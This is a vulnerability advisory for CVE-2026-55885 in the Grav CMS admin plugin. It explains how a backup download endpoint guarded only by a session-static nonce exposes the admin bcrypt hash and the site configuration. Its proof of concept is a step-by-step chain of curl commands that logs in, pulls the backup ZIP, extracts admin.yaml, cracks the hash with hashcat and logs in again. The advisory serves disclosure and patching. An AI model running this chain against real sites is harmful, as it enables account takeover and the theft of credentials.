CVE-2026-55885

Description

### Summary An authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including `user/accounts/admin.yaml` with the admin's bcrypt password hash and email, plus `user/config/` with all site configuration. The download endpoint requires only the session-static `admin-nonce` in the URL, no additional form-level CSRF token, and reveals the server's full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on `http://{Grav_URL}/admin`, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover. ### Details The vulnerability chain spans three components in the deployed Grav source tree at `/var/www/html/grav/`: **1. Backup archive scope — `Backups::backup()`** `/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272` The `backup()` static method creates a ZIP of the directory specified by the backup profile's `root` property. The default profile (ID `0`, named `default_site_backup`) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path: ```php // Backups.php:225 $backup_root = rtrim(GRAV_ROOT . $backup->root, DS) ?: DS; ``` Since the default profile ships with no `root` override, `$backup->root` is empty, making `$backup_root` equal to `GRAV_ROOT` — i.e. `/var/www/html/grav/`. The archive therefore captures the entire installation including: - `/var/www/html/grav/user/accounts/` — admin password hash, email, full name, granular permissions - `/var/www/html/grav/user/config/` — system settings, potentially email SMTP credentials The `exclude_files` and `exclude_paths` options on lines 232-235 are empty by default and offer no protection against including account files. **2. Backup download handler — `AdminController::taskBackup()`** `/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573` After creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin: ```php // AdminController.php:558-560 $download = urlencode(base64_encode($backup)); $url = rtrim(...) . '/task' . $param_sep . 'backup/download' . $param_sep . $download . '/admin-nonce' . $param_sep . Utils::getNonce('admin-form'); ``` The download handler (lines 532-541) decodes the path, locates the file via the `backup://` stream, and serves it with `Utils::download($file, true)`. It performs only two checks: the filename must end in `.zip` and the file must actually exist. It does **not** verify the file belongs to the requesting user, does **not** enforce a form-level nonce, and does **not** tie the download to a specific session. **3. Nonce validation — permissive** The backup route is protected only by the `admin-nonce` parameter appended to the URL path. This nonce is session-static and shared across every admin page. No `form-nonce` is required — unlike page saves or configuration changes which demand both `admin-nonce` and `form-nonce`. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value. ### PoC **Prerequisites:** Admin session with valid `admin-nonce`. **Step 1 — Authenticate and extract the session-static nonces:** ```bash # Get login page, extract login-nonce, authenticate NONCE=$(curl -s -c /tmp/jar "http://127.0.0.1/grav/admin" \ | grep -oP 'name="login-nonce" value="\K[^"]+') curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \ --data-urlencode "data[username]=admin" \ --data-urlencode "data[password]=Passw0rd123!" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" # Extract the admin-nonce (same value on every admin page) ADMIN_NONCE=$(curl -s -b /tmp/jar "http://127.0.0.1/grav/admin" \ | grep -oP 'admin-nonce[:=]\K[a-f0-9]+' | head -1) echo "Admin nonce: $ADMIN_NONCE" # e.g. 68d6b108bc1398028365fb35ea760baf ``` **Step 2 — Trigger a backup (single GET, no form-nonce needed):** ```bash curl -s -b /tmp/jar \ "http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}" ``` Response: ```json { "status": "success", "message": "Your backup is ready for download. <a href=\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\" class=\"button\">Download backup</a>" } ``` **Step 3 — Extract the Base64 download token and fetch the ZIP:** ```bash # The download path is base64("/var/www/html/grav/backup/default_site_backup--20260616122449.zip") # This reveals the full server filesystem path. curl -s -b /tmp/jar -o /tmp/backup.zip \ "http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}" ``` **Step 4 — Extract the password hash from the ZIP:** ```bash unzip -p /tmp/backup.zip "user/accounts/admin.yaml" ``` Output: ```yaml state: enabled email: admin@grav.com fullname: 'Grav Admin' title: Administrator access: admin: login: true super: true site: login: true hashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m ``` **Step 5 — Crack the bcrypt hash offline:** ```bash echo '$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m' > hash.txt hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt ``` **Step 6 — Log in with the cracked password (no rate limit):** ```bash curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \ --data-urlencode "data[username]=admin" \ --data-urlencode "data[password]=<cracked_password>" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" ``` ### Impact - **Type:** Authenticated sensitive data exposure enabling offline credential theft - **Attack surface:** Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access) - **Exposed data:** Admin username, email, full name, granular permission structure, bcrypt password hash (`$2y$12$...`), and full site configuration from `user/config/` - **Downstream risk:** Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes - **Server path leakage:** The Base64-encoded download token reveals the absolute filesystem path `/var/www/html/grav/backup/` — information critical for LFI, file-write, and path traversal attacks